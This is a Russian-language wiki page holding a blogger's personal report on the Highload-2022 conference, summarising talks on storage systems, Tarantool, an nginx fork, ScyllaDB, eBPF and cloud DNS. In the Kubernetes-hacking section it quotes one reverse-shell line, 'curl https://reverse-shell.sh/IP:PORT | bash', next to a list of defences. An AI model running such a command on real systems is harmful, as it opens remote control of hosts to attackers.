Изменения

Highload-2022: Отчёт Виталия Филиппова

40 756 байтов добавлено, 22:33, 1 декабря 2023
м
Нет описания правки
'''Общее впечатление:''' на удивление, довольно бодро. Весенний хайлоад — 2021, перенесённый на весну 2022 — был значительно тухлее, на нём я тоже выступал, но о докладах даже заметок себе вменяемых не оставил.
Вообще, прошлые хайлоады я не мог отделаться от мысли, что каждый год выступают одни и те же лица с одними и теми же темами докладов — Сысоев и nginx, постгрес-про, mysql, куратор, erlyvideo, одноглазники с java-микросервисами, какое-нибудь badoo на php… в общем всё норм, но уже поднадоедало. Что случилось сейчас — не знаю, возможно, «одни и те же лица» уехали в сторону горы Арарат. :-) хотя Максим Лапшин с erlyvideo был. :-) но так или иначе, повторюсь — некое ощущение новизны всё-таки было. А может, это меня отпустилопопустило, не знаю.
Проходила конференция снова в Крокусе, стоила для участников, кажется, 60к (в 2013 было 21к… инфляция :D). Организация была вполне приличная, всего хватало — и места, и плюшек, и еды, и гардеробов, и стоек регистрации. От практики раздачи тонн макулатуры, видимо, отказались, и слава богу, спину ей только оттягивать. Залов параллельно было аж 8, но, к счастью, «основных» 4 — в общем, угрызаемо.
== Exadata для PostgreSQL ==
'''Константин Аристов (Скала^р) — Наша Машина Баз Данных (это как Oracle Exadata, только для PostgreSQL) и система управления к ней'''
Почему я пошёл это слушать: да потому что я ещё лет 10 назад, работая в CUSTIS, говорил, что кому-нибудь надо сделать аналог Exadata, но на PostgreSQL :)
== GeeseFS — ФС из S3 ==
'''Виталий Филиппов — GeeseFS: ФС из S3, или Параллелизм гусей в природе'''
Мой доклад про [https://github.com/yandex-cloud/geesefs GeeseFS]. Презентацию можно посмотреть тут: https://yourcmc.ru/geesefs-2022/highload.html - она на reveal.js, работает из браузера.
Кстати, с ответом на вопрос про inotify не всё так просто, на самом деле эти FUSE_NOTIFY_STORE и прочие подобные операции, хоть и связаны с inotify, видимо, как-то не полностью его реализуют. Например, в документации fuse_lowlevel_notify_delete указано, что «If the provided child inode matches the inode that is currently associated with the cached dentry, and if there are any inotify watches registered for the dentry, then the watchers are informed that the dentry has been deleted». Также есть патч для ядра, реализующий inotify для FUSE, но он то ли ещё не влит, то ли уже не влит :-).
== Тарантул для детей самых маленьких ==
Константин '''Владимир Перепелица (Tarantool) — Архитектура надёжной In-Memory-СУБД на примере Tarantool'''
Очень общий доклад про Tarantool, просто обзор архитектуры. Для тех, кто не знает, сначала это был заменитель memcached (кэш в памяти), а потом туда накрутили сохранение копии снимка данных на диске, репликацию, индексы, транзакции, Lua, хранение данных на диске, а индексов в памяти, MVCC и даже SQL… Короче, теперь это целая «платформа in-memory вычислений с гибкой схемой данных для эффективного создания высоконагруженных приложений, включающая в себя базу данных и сервер приложений на Lua». Из всего набора неизменной осталась только однопоточность и то, что что-то всегда держится в памяти — либо вообще все данные, либо хотя бы все индексы.
Есть репликация, синхронная и асинхронная, в том числе master-master, работающая через «векторные часы», то есть версия ключа — это несколько версий, по одной на каждую реплику. Если ключ меняется на обеих репликах, будут версии (2, 1) и (1, 2) и будет конфликт, который самим тарантулом никак не разрешается и разрешать его должны вы :-).
В остальном остановиться почти не на чем, доклад реально очень базовый. Интереснее было бы послушать про какие-то более хитрые вещи, возможно, про какие-то хитрые случаи практических применений. Про MVCC потом ещё был отдельный доклад на следующий день, но тоже, честно говоря, не очень интересныйскучноватый.
А, ну и мемы про тарантул смотрите тут — https://t.me/notcrashing.
== Форк Angie — форк nginx (ООО Веб Сервер) ==
'''Иван Полуянов, Валентин Бартенёв (Web Server LLC) -  — Дорогая, я форкнул nginx''' Вкратце: 10 человек из команды оригинального nginx суммарно с 60 годами опыта работы :) вернулись в РФ, основали компанию ООО Веб Сервер, сделали форк и теперь убьют платный nginx, забрав к себе все его фичи и оказывая техподдержку 🤗. И это прекрасно, так и надо клятым копетализдам. Форк называется [https://github.com/webserver-llc/angie Angie]. Фичи:* Встроенное API статистики — в формате JSON, будет и в формате Prometheus, сейчас в оный её можно перевести через Lua* Динамическое проксирование (upstream-ы), будет в декабре* io_uring (хотя не особо что-то даст в сетевом приложении — прим.вред)* Синтаксический сахар в конфиге Ну молодцы. Осталось им ещё динамическую конфигурацию запилить и всё, nginx plus можно совсем закапывать будет и туда ему и дорога :).
== Стородж Яндекса может всё ==
'''Вадим Зотеев (Яндекс) — Балансировка нагрузки в мульти-эксабайтном сторадже'''
— Дети, в какой стране самые красивые игрушки? — В СССР! — А в какой стране самая нарядная одежда? — В СССР! — А в какой стране самые счастливые дети?… Вовочка, что ты плачешь? Вовочка: — Хочу в СССР…
* Для балансировки нагрузки на запись нужен явный контроль над процессом записи и это не бесплатно — для этого клиентская библиотека или промежуточный слой (прокси) должны учитывать различные факторы, такие, как нагрузка на диск, сеть, состояние «шардов» и так далее. У нас балансировка записи сделана через веса, вес — это просто перемножение нескольких коэффициентов (нагрузки на диск, сеть и т.п).
* Для балансировки нагрузки на чтение нужно стараться равномерно распределять по дискам шарды, создающие разную нагрузку — например, шарды разных пользователей (сервисов; для нас пользователи — это другие сервисы), или шарды разного возраста (к старым обращений меньше), то есть, стараться селить вместе «горячие» и «холодные» шарды — и это тоже не бесплатно, так как для выравнивания нагрузки данные нужно перемещать.
* Для балансировки свободного места при добавлении железа тоже нужно перемещать часть данных на новые диски/серверы. Иначе на новых дисках сначала (пока они пустые) будет перекос по записи, а потом (когда туда быстро нальётся много свежих данных) — перекос по чтению.
* С помощью предсказания нагрузки можно улучшать балансировку и даже экономить место, переводя «холодные» шарды в более медленную схему хранения с кодами коррекции ошибок (EC или LRC).
От себя добавлю, что та самая «балансировка нагрузки» и вообще распределение объектов — это один из наиболее базовых аспектов устройства любой системы хранения и именно он во многом определяет дальнейший вектор развития архитектуры системы. Вообще все стороджи можно поделить на классы… класса, наверное, на 3… в зависимости от применённого подхода к распределению данных. Так что на самом деле рассмотренный в докладе вопрос гораздо значительнее, чем может показаться на первый взгляд :-).
 
P.S: Вопрос Вадиму: А у вас есть автоматика, которая определяет, отвалившая реплика ушла совсем или ещё вернётся? Коллега мне на ухо: Есть, её зовут Женя…
== Жизнь перф инженера в Pg Pro ==
== Хранилище почты mail.ru ==
'''Виктор Могилин (mail.ru) -  — Хранилище для Почты''' Доклад сделал мой день, самый интересный доклад первого дня. Ну, для меня. Очень уж хранилки всякие люблю. Итак. Сначала почта у них хранилась, видимо, в Maildir-ах, ну или в своём аналоге, то есть ящик — это была папочка на диске, в которой отдельными файлами хранились все письма, плюс индексы. В среднем примерно 3 ТБ вложений на 1 ТБ писем. Горизонтально это масштабировалось норм, а вертикально не норм — предел — 4 ТБ HDD, больше юзать не получалось, так как iops-ы HDD с объёмом не растут (100—200 iops). ФС — очевидный оверхед: директории, иноды… Так и масштабировались на 4 ТБ дисках, в итоге домасштабировались до 3000 серверов и стало дорого и неудобно. Захотелось снизить это число раз в 10. Для начала дизагрегировали из писем вложения, по этому поводу был отдельный доклад: [https://www.youtube.com/watch?v=O247Hq3ego4 Как смигрировать 50Пб в 32 без даунтайма? / Альберт Галимов, Андрей Сумин (Mail.ru)] с хайлоада 2016. Соотношения объёмов данных и нагрузки: мета — 2 ПБ и 3 млн rps, тексты писем — 15 ПБ и 80 тысяч rps, вложения — <s>50</s> 35 ПБ и 8 тысяч rps. В итоге в этом докладе речь идёт только о хранилище текстов. Хранилище назвали '''Zepto'''. Вышло в общем-то очередное [https://www.usenix.org/event/osdi10/tech/full_papers/Beaver.pdf Haystack]/[https://github.com/chrislusf/seaweedfs SeaweedFS]-подобное хранилище. В Яндексе MDS, про который шла речь в докладе Вадима выше, тоже похожий (упоминания также есть в [https://habr.com/ru/company/yandex/blog/311806/ статьях на хабре]). '''Похожести:''' * Append-only volume-ы с переупаковкой. То есть, объекты хранятся в дописываемых всегда в конец больших файлах-томах вперемешку с заголовками, при удалении из тома сразу не удаляются, а только помечаются удалёнными — а потом, когда количество удалённого превышает определённый %, приходит отдельный процесс (называемый по вкусу compaction/defrag/gc/repack) и перезаписывает том целиком, на этот раз действительно удаляя удалённые объекты. Волюмы fallocate-ятся, чтобы исключить фрагментацию места в ФС.* Есть «шарды», являющие собой группы из N (2, 3 или ещё скольки-то) таких томов на разных машинах, связанных репликацией вместе. То есть, запись идёт в пары или тройки томов. В терминологии Ceph шард — по сути, PG (placement group). В терминологии zepto — «бакет» (и сам волюм тоже, видимо, называется «бакет»).* Клиент хранит ID шарда (бакета) у себя и для чтения объекта обращается к конкретному шарду. Центральный сервер метаданных, знающий, где лежат все объекты, отсутствует.* Запись через page cache. fsync-ов после каждой записи и строгой консистентности формально нет. fsync просто раз в секунду выполняется в отдельном потоке, чтобы стимулировать сброс данных на диск. Но так как бешеные уборщицы не ходят по залу и не дёргают в произвольном порядке целые датацентры из розеток — данные не теряются.* Есть «прокси», предоставляющие API доступа к хранилищу. У них они называются zeptoproxy и ставятся прямо на клиентские машины.* Есть отдельный слой управления кластером и он же отвечает за балансировку записи. У mail.ru он называется statusservice.* EC (коды коррекции ошибок) через конвертацию волюма целиком после закрытия его на запись. Хотя в zepto в весьма примитивном варианте. '''Отличия:''' * Волюмы/бакеты.** В zepto нет индексов (почти!). Объект идентифицируется прямо смещением внутри тома.** А как же удаления, спросите вы, если смещение — это ID? А удаления реализуются через индекс удалений («индекс дырок»), добавляемый при сборке мусора. Видимо, вида «старое смещение &rarr; новое смещение» на каждую дырку. Ну такое… :) в худшем случае (если удалён каждый второй объект) дырок будет столько же, сколько объектов, но в среднем — типа, лучше.** В zepto объекты пишутся страничками по 4 КБ, у каждой странички есть контрольная сумма crc32.** Размер одного бакета — 2 ГБ. Логично, ибо под смещение выделено 32 бита. Плюс ещё 32 бита — ID бакета. Соответственно, общий лимит места в zepto-кластере — 16 ЭБ; под почту, которой всего 15 ПБ, этого хватает с головой :)** Бакеты складываются в 2 ТБ разделы дисков и один раздел (~1000 бакетов) обслуживается 1 процессом «bucketservice». В ноде 72 диска по 18 ТБ, но под Zepto на них обычно выделено только 4-6 ТБ, так что на одной машине живёт примерно 216 bucketservice-ов.** Большие объекты нарезаются на части по 64 МБ, сначала пишутся части, в конце — индекс, ссылающийся на эти части.** После заполнения бакет закрывается и в него больше не пишут, а только удаляют и потом переупаковывают. Процесс-переупаковщик бакетов называется bucketcompactor.* Распределение объектов — перед каждой записью идём в statusservice и спрашиваем у него, в какой бакет писать.** При этом бакет на запись блокируется. При удалении аналогично, тоже блокировка. После записи разблокируем и обновляем версию бакета в statusservice. Версией служит просто последнее смещение в бакете.** При отвале клиента — это мои фантазии, в докладе не было, но по-другому вроде никак — должен следовать отвал блокировки по таймауту, перевод бакета в readonly и его последующая синхронизация, что полностью эквивалентно Hadoop с его Lease Recovery.* Репликация — клиентская, запись — кворумная.** То есть, клиент (прокся) напрямую соединяется с несколькими серверами и пишет свои данные на каждый, и считает запись успешной при записи на 2 из 3 серверов. При неуспехе — повторная попытка в другой бакет.** Консистентность удалений — если какой-то bucketservice лежит в момент удаления — другие сохраняют к себе запись типа «foreign delete», то есть «данный объект был удалён в другом месте» и после его поднятия досылают ему записи удалений.** При потере одного бакет переходит в readonly до починки.** Восстановление — тупое, ручное (zeptoctl fix) и только полным копированием тома на отсутствующие/повреждённые реплики. Причём вообще, вроде, в разрезе разделов, а не отдельных волюмов.* Слой управления (statusservice)** Держит индекс бакетов в памяти, обновляет его дельтами. 2 основных метода API: дай бакет для записи, дай адрес по бакету.** Пошардирован по дц. Знает про все бакеты, но мастер для своих бакетов и слейв для чужих, свои определяются по остатку от деления на 3 (датацентра 3).* EC** В супер-простейшем формате — побитовый XOR. То есть реализована только 1 схема, x1.5, то есть EC 2+1.** Вообще открою страшную тайну: в любом EC первый чанк — как правило, XOR — к такому виду можно привести любую матрицу EC и это делается в том же jerasure для упрощения вычислений. Так что в XOR ничего зазорного нет. Но в докладе было упомянуто, что XOR побитовый, и вот тут я уже не уверен — если это значит, что коды генерятся не как (первый байт XOR второй байт), а как (первый бит первого байта XOR второй бит первого байта), то это слегка изврат.** В XOR данные перекладываются только после заполнения. Запускается «полторирование» и перекодирует бакет из x2 или x3 в x1.5.** Казалось бы, тут должны быть сосиски, то есть EC-кодирование всего волюма-колбасы а-ля seaweedfs, но этого нет. Кодируется каждый объект отдельно. А чего тогда, писали бы сразу в EC…* Жёсткая схема распределения места** Как я понял, это значит, что при добавлении серверы/разделы сразу разбиваются на группы так, чтобы полностью покрыть ими всю ёмкость, и потом бакеты собираются только уже в конкретных заданных сочетаниях. И, видимо, как-то переоптимизируются при добавлении/удалении дисков. Я в Vitastor со своим lpsolve-ом тоже начинал с подобной идеи…* Есть сжатие (zstd), которое позволяет 15 ПБ, превращённые с 2x репликацией в 30 ПБ, превратить обратно в 15 ПБ :). Итог: ужали хранилище с 3000 серверов до 1500. Используют ещё в облаке (которое mail.ru диск, видимо) — 80 ПБ данных в x1.5 и в сниппетах для поиска по почте — 2.4 ПБ в x2. Средний размер объекта в почте 40 КБ при времени доступа 10 мс (90% — 30 мс), средний размер объекта в облаке > 1 МБ при времени доступа 500 мс (90% — 2 сек), в общем, плюс-минус как у голого HDD. Что ещё хотят поулучшать: добавить автоматики (её нет в том числе из-за боязни админов — мало ли автоматика сойдёт с ума), что-то придумать с лишними iops-ами при удалении, попробовать сделать гибридную схему хранения (x3 &rarr; x2 &rarr; x1.5). '''В общем, ждём ебилдов (c).'''
== SPQR для постгри ==
'''Денис Волков, Кирилл Решке (Yandex Cloud) -  — SPQR: горизонтальное масштабирование PostgreSQL'''
Пытался смотреть доклад в режиме вытесняющей многозадачности параллельно со сцыллой.
 
В общем, речь шла об https://github.com/pg-sharding/spqr — Stateless Postgres Query Router.
 
Идея — прозрачное шардирование постгреса для бедных. Ставим проксю, которая парсит запросы. Те, что имеют локальность, перенаправляет на определённый шард. Те, что не имеют локальности, но простые и их можно легко смержить из общего результата — собирает со всех шардов. А те, с которыми вообще не понятно, что делать — перенаправляет в выделенный шард «world».
 
Ну и вроде как сделали и оно вроде как работает. И даже какую-то перебалансировку шардов вроде бы умеет. «Разработка Шредингера», как они сами сказали — то ли в проде, то ли не в проде. В докладе даже была ссылка на демонстрацию, но это на самом деле не так интересно, интереснее то, насколько это применимо для реальных приложений, так как в реальных приложениях запросы всё-таки не ограничиваются select from table where id=… Про это речи не было — тут слушатели вольны потестить сами :-).
== Как сцилла стояла раком ==
'''Илья Орлов (STM Labs) -  — Укрощение мифического чудовища: реальный опыт промышленного использования ScyllaDB без прикрас''' Они решили попробовать сциллу. Решили потому, что им нужно было что-то быстрое, чтобы архивировать старые товары (30 млн записей в сутки). В мегабайтах в секунду не так уж и много, запись в среднем 10 КБ, так что это всего 3.4 МБ/с. У сциллы же были заявлены 12500 rps на ядро (400 МБ/с на 32-ядерном сервере), либо 240 МБ/с на HDD, ну и вообще, мол, shared nothing и вся такая быстрая (туда же, кстати, главный тарантул уполз — Костя Осипов)… Архивацию сделали в 2 этапа — сначала перекладка, потом валидация — проверка наличия записи в архиве и только потом пометка записей в исходной mongodb как подтверждённых и удаление. Провели тестирование через cassandra-stress-test, получили 45 МБ/с и 4634 записи в секунду (400 млн записей в сутки), решили, что всё отлично. В прод! :) Вместо этого всё встало раком. Сначала получили с учётом валидации 231 запись в секунду (20 млн в сутки). Потом вообще — 35 записей в секунду (3 млн в сутки) и отвал 50% операций записи по таймауту. А компакшен стал выжирать 100% CPU… ТУПИК (картинка: пушной полярный песец). Попробовали переехать на SSD — ни фига. Попробовали отключить автоматический компакшен — стало ещё хуже, ручной вообще не мог завершиться, включили обратно. Отказались от индексов — тоже не помогло. А помогло переключение сжатия с zstd на lz4. Сразу ушли таймауты. Потом вообще убрали валидацию и потом ещё поускоряли монгу. В итоге получили-таки скорость архивации 34 МБ/с или 300 млн записей в сутки. Причём оказалось, что если операция записи таймаутнулась — это не значит, что данные не записались, и повторять попытку зачастую не надо, иначе наоборот плодятся лишние данные. Ещё оказалось, что есть какой-то autobootstrap, который может убить весь кластер и он по умолчанию вроде как false, но при переезде со старой версии — true. И у них была какая-то опасность по этому поводу. '''Итог:''' Сыровато. Документация не в 100% верна. Пригодна только как большая хеш-таблица, индексы — г*но. zstd — если включать, то только до первых таймаутов. Компакшен неуправляемый. Из доступных в опенсорсе нормальная стратегия — STCS (Size-tiered compaction strategy), а лучшая — инкрементальная, но она есть только в платной версии. В редких случаях даже добавление ноды может «помочь» потерять данные. '''Но новое пробовать можно и нужно, иначе откуда возьмётся прогресс? :)'''
== ZFS в ZFS → WA и тормоза ==
= День 2 =
== ? == Егор Хайруллин (Яндекс) - Как перейти от batch к streaming на примере рекламной контент-системыУтренние доклады пропустил. Спал. Звиняйте, дядьку.
== Graphviz от безопасника ядра ==
'''Александр Попов (Positive Technologies) -  — Безопасность ядра Linux: в теории и на практике''' Сказ о том, как крутой безопасник открыл для себя Graphviz и использует его как Wiki :-D. Рассказывал о двух вещах: [https://github.com/a13xp0p0v/linux-kernel-defence-map linux-kernel-defence-map] и [https://github.com/a13xp0p0v/kconfig-hardened-check kconfig-hardened-check]. Первое — «вики» в формате Graphviz, где он собирает обзорную информацию о методах самозащиты ядра Linux от дыр. Интересно и если вы не разбираетесь в безопасности ядра, и если разбираетесь, так как он, когда сам делает доработки, тоже на это же ориентируется. Второе — скрипт для проверки опций безопасности, проверяет настройки сборки, конфигурацию ядра, опции командной строки ядра. Там же в Readme есть ссылки на рекомендации по настройкам ужесточения безопасности ядра. Которые, конечно, не обязательно включать все, так как они не бесплатны. В общем, вот это в основном и было содержательной частью, на самих дырах он сильно не останавливался, только чуть-чуть на базовых вещах. А, да, из юмора: прозвучал вопрос: а как у вас с поддержкой процессора Эльбрус? — Он ответил: ну, типа, она, по-моему, ещё не включена в мейнлайн… — и тут ведущий добавил: ну да, сейчас, похоже, скорее поддержка Арарата хорошо идёт.
== Примитивные хаки k8s ==
'''Лев Хакимов - Хакимов — Хакнуть K8s: разбор пэйлоадов и способов защиты''' Нормальный доклад, но «разбор пейлоадов» — это ну очень громко сказано. Начал аж с того, что контейнер — это не ВМ 🤡. А потом всё как-то свёл к тому, что уязвимый контейнер — это или privileged, или с какими-нибудь --cap-add (плюс-минус то же самое), или на худой конец hostNetwork/hostIPC/hostPID true. В итоге можно либо смонтировать хостовую ФС, либо позапускать контейнеры через сокет докер-демона, либо выполнить reverse shell. Ну, например, если есть CAP_SYS_MODULE — то вставить модуль ядра, запускающий <tt><nowiki>curl https://reverse-shell.sh/IP:PORT | bash</nowiki></tt>. Мда, exploit as a service, который мы заслужили… Далее сказал, что K8s RBAC 🤡 не защищает от эксплойтов privileged докера 🤡. Для защиты есть Admission Controller, Pod Security Policy, Pod Security Standards (с 1.23), SecurityContext и Network Policy. Также в тему ResourceQuotas & LimitRange. Искать дыры посоветовал [https://github.com/carlospolop/PEASS-ng PEASS-ng] или [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS linPEAS], или [https://github.com/cdk-team/CDK CDK]. Для аудита — [https://github.com/aquasecurity/kube-bench CIS Kubernetes Benchmark]. Всё.
== DBA ловит тормоза диска через eBPF ==
'''Пётр Бобров (QIWI) -  — Мониторинг черных ящиков и котов в мешке через eBPF'''
== MVCC Oracle DBA открыл для себя [https://ebpf.io eBPF], точнее, [https://github.com/iovisor/bcc bcc], на самом eBPF покодить ему так и не довелось. Да и ничего особо важного — никакого, например, бага в тарантуле ==ядре… или в оракле… или в дисках… — через eBPF он не нашёл, просто написал экспортилку данных из bcc в Telegraf и нарисовал дашбордик. Ну дашбордик и дашбордик. https://github.com/unPeter/bcc2telegraf — вот это поделие.
«Если вендор не идёт навстречу, УК конечно нарушать не предлагаю, но уверен, что на рынке есть люди, позитивно настроенные на анализ» (c). Пересказывать, что такое eBPF, я особо не буду. Вкратце — через него можно вставлять кусочки своего кода в ядро в целях отладки/мониторинга/ещё каких-то. Например, можно влезть в любую функцию и напечатать её параметры. Правда, нельзя напечатать локальные переменные, по крайней мере, я сходу не осилил и нашёл свой баг другим путём. В остальном — думаю, сами прочитаете, если интересно. ИМХО ничего, что нельзя нагуглить, докладчик не рассказал :). == Матрасы в тарантуле == '''Александр Ляпунов (Tarantool) -  — Как работает MVCC в In-Memory-СУБД''' Рассказ про MATRAS. Начал с аналогий — мол, человек разумный, а комп нет, если жена отправит вас в магазин и скажет «купи пакет молока, если будут яйца, купи десяток», то все нестандартные ситуации, там, −1 пакет молока на полке… вы, вероятно, обработаете сами. ''/Ну не знаю — если 2 программиста потянутся за 1 пакетом молока… хз, могут и зависнуть, жёнам придётся идти спасать от дедлока, возможно, кого-то придётся пристрелить…/ — прим.вред.'' Ну а MVCC нужен, чтобы не пускать всех в магазин по одному. Вместо этого создаём каждому покупателю свой снимок магазина, а кассир потом разрешает конфликты ''/и упираемся в кассира/ — прим.вред.'' В общем, в тарантуле MVCC реализован через матрас — Memory Address TRanslating Allocator(S) и через ещё один специальный аллокатор для read view. И ещё через сохранение истории изменений, то есть каждая строка содержит флаг «есть история или нет», если нет — просто читаем, если есть — проходим по истории. Уровень изоляции — serializable, но не snapshot, снапшот создаётся отложенно. Подробнее можно почитать тут: https://habr.com/ru/company/vk/blog/525484/, https://habr.com/ru/company/vk/blog/540842/
== Экодиктант за 2 месяца ==
'''Станислав Жуковский, Василий Шалимов (Старботс РФ) -  — Экодиктант 2021: highload-проект с нуля за 2 месяца''' А вот этот доклад сделал мой второй день конференции. И хоть докладчик и говорил «вёб» (через ё) и «рпц» вместо rps (ЭР ПЭ ЭС), очень приятно было послушать, что где-то ещё есть люди, которые могут сесть и БЫСТРО и ПРОСТО, без 200 микросервисов, что-то запилить. А то в последние годы уже как-то начал привыкать к тому, что разработка ПО в компаниях обычно как идеальный газ — занимает все ресурсы, которые на неё выделишь, и в итоге сидит человек 100 и все чем-то заняты, а баги исправляются по полгода. А фичи разрабатываются по 2 года. К ним пришёл заказчик и сказал — мы тут писали ТЗ 8 месяцев, а вы нам это закодьте за 2. Причём заказчик был очень начитанный, ТЗ было очень подробное, там была прорисована архитектура, 100 микросервисов и всё такое прочее. Но, к счастью, заказчику ответили — да, это всё замечательно, но не за 2 месяца. ''/Микросервисы — г@вно!!! Парни, вы молодцы, что на это не пошли! Тупой монолит в 99.9% случаев гораздо лучше!/ — прим.вред.'' В итоге просто писали на Django, причём даже с jQuery. ''/ну да, тоже уже устаревшее г@но, но если умеешь — пиши на том, на чём умеешь/ — прим.вред.'' И только самая нагруженная часть с самим «диктантом» была на React. Кратко таймлайн разработки, который почему-то начинается с 11 недель — не совсем 2 месяцев до диктанта, ну да не суть:* −11 неделя: макеты по дизайну* −10 неделя: выбрали сервер (uWSGI), балансер (HAProxy), сверстали шаблоны django, и сразу выставили в веб (для теста, видимо)* −8 недель: развёртывание в яойблаке и бенчмаркинг я-танком, анализ 500-ых ошибок* −7 недель: припилили React, аутентификацию через JWT, пробенчили эти самые JWT (выпуск/обновление токенов)* −6 недель: переносили старые учетки из php laravel приложения, пришлось припиливать устаревший 128-битный bcrypt к django* −5 недель: отказались от сервисов рассылок mailchimp, aws — дорого и вообще не дали бы объёмы — в частности, aws сказал «15000$ в год + 3 месяца рассылайте 10%, потом, может, разрешим полный объём». Подняли свой почтовик — postfix с DKIM и всем прочим. Сразу сделали 2 домена и были очень рады, что 2, так как один то и дело улетал в блокировку (всякие DNSBL), они вступали в диалог с админами блоклистов, а тем временем юзали второй домен. В итоге рассылали 70 писем в секунду и потеряли < 1%. Но, сказали, лучше бы было 5 доменов. Метрики доставки отслеживали в Zabbix.* −4 недели: настраивали защиту от DDoS и CDN в облаке мегафона. Мегафон помогал. Хватило 1 уровня защиты.* −3 недели: выкладка контента вовсю. Словили прикол — приходил один и тот же юзер, жаловался «у меня не хватает лимита, не загружаются картинки» — в итоге лимит сняли… и ему хватило. Он загрузил логотип размером 1 ГБ.* −2 недели: финальная упаковка контейнеров в кубер, настройка автоскейлера.*: Тут Шалимов Василий (автор «вёба») опять выдал небольшой перл — мол, «реакт ничего не ел [в кубере], а вот джанга!..» — логично, чо. Реакт в браузере у юзера выполняется. Там и ест.* −1 неделя. Юзеры пришли регаться. 1 млн регистраций в час. После чего всё, ДИКТАНТ. Рады, что не поймали ''того, что обычно ловят'' в панамку! Говорит, у меня жена и 2 детей и на всякие онлайн дневники они часто ругались, а тут нормально все прошло — но пока делал, я им не говорил, что делаю. На всякий случай. :-) Было только 2 падения — в первом всё повисло из-за LIKE-запроса, во втором — упала варя (vmware) и, соответственно, кубер у мегафон-клауда. Полежали где-то час. Ну и потом неделя еще на обработку, а еще были оффлайн роли, отчёты, анкеты, какие-то подарки… Ответы на вопросы:* Почему не django fast api? — Не было времени.* Помогла ли django админка? — Да, но дефолтная туповата, на 3 миллиона юзеров, например, не рассчитана, повисает.* Мешал ли django orm? — Нет, ибо сложных запросов не было. Хватило. Но держали в уме, что может быть узким местом и присматривали.* Повторили бы опыт? — Нервный ржач…* Какие блэклисты почты? — Сходу не помнит, стандартные, было 13 названий. Это была отдельная задача для контент-менеджера.* Сколько был rps? — Не помнит, но нагрузочное тестирование делали почти на 1 млн. Регистраций был 1 млн в час.* Какого размера была команда? — Их было 7, а техподдержки мегафон-клауда, которые ими занимались — 21. Мегафон не знал, что их 7, когда узнал, был в шоке. '''Резюме:''' Используйте подходы MVP, делайте запас по железу. Кто-то (вроде меня) скажет — ну да, конечно, а как ещё? — НО! Порадовало именно то, что об этом рассказали! Так ведь сейчас не модно! Модно намудрить 10 слоёв, 100 микросервисов, обмазаться фреймворками, облачными сервисами, серверлессом… Так что — свернуть доклад в трубочку и разослать всем, кто делает «долго, дорого и сложно». Пусть учатся.
== DNS-aaS через SDN ==
'''Георгий Меликов (VK Cloud) -  — Полная изоляция клиентов в облаке для сервисов без изоляции на примере DNS''' Докладчик — наш друг из чатиков [https://t.me/sds_ru @sds_ru], [https://t.me/ceph_ru @ceph_ru] и [https://t.me/ru_zfs @ru_zfs], участник разработки ZFS. Вкратце итог: мультитенантный облачный DNS-as-a-Service через DNS-прокси, добавляющую суффикс в запрос, работающую через SDN. В общем, стояла задача — сделать изолированный облачный DNS-as-a-Service в облаке — то есть, чтобы один клиент не мог случайно увидеть DNS-ответы другого клиента — И ПРИ ЭТОМ не поднимать отдельные DNS-серверы на каждого, а обойтись одним, ибо это банально дешевле и заодно позволяет предоставлять нормальный rps тем, кто много обращается к этому DNS. Рассмотрели варианты:* OpenStack Designate — нет мультитенантности* bind views — оказался мультиплексором к N экземплярам bind и вообще он «экспериментальный» с багами* PowerDNS — нет мультитенантности и не хотят, говорят, если вам надо — поднимайте N экземпляров. Есть Lua, но на ней сделать требуемое не вышло, зато стали контрибьюторами в документацию — это было самое быстрое одобрение PR в жизни: примерно 10 секунд :-)* dnsmasq — маленький и опять нет мультитенантности* CoreDNS — и тоже нет тенантов* pdnsd — и тоже нет В итоге родили МОЩЩЩНЫЙ [https://www.youtube.com/watch?v=wnbTrVM8hXg&t=585s (c)] костыль. Решили добавлять в запросы суффиксы, например, domain -> domain.tenant1, и потом, соответственно, откусывать их в ответах. Для этого можно было написать свой DNS-сервер, но решили, что полноценный честный RFC-совместимый DNS-сервер писать довольно сложно, если допиливать готовый — доработки не примут, а поддерживать форк не хочется… и написали проксю, которая переписывает запросы (A, PTR) и перенаправляет их реальному серверу. А чтобы перехватывать и перенаправлять запросы, у них уже был под рукой SDN. То ли раньше был OpenStack Neutron, то ли и до сих пор ещё остался, но по факту сделали на SDN собственного разлива, который называется Sprut и поддерживает Network Functions. На этом и сделали проксю. 2 человеко-квартала и готово. Прототип на Python по RPS на 1 поток получился медленнее CoreDNS всего в 2 раза, то есть, даже питона оказалось достаточно для нужной производительности. Ну ок :-). «Сетевики пишут DNS».
[[Категория:Конференции]][[Категория:VitaliPrivateОтчёты о конференциях]]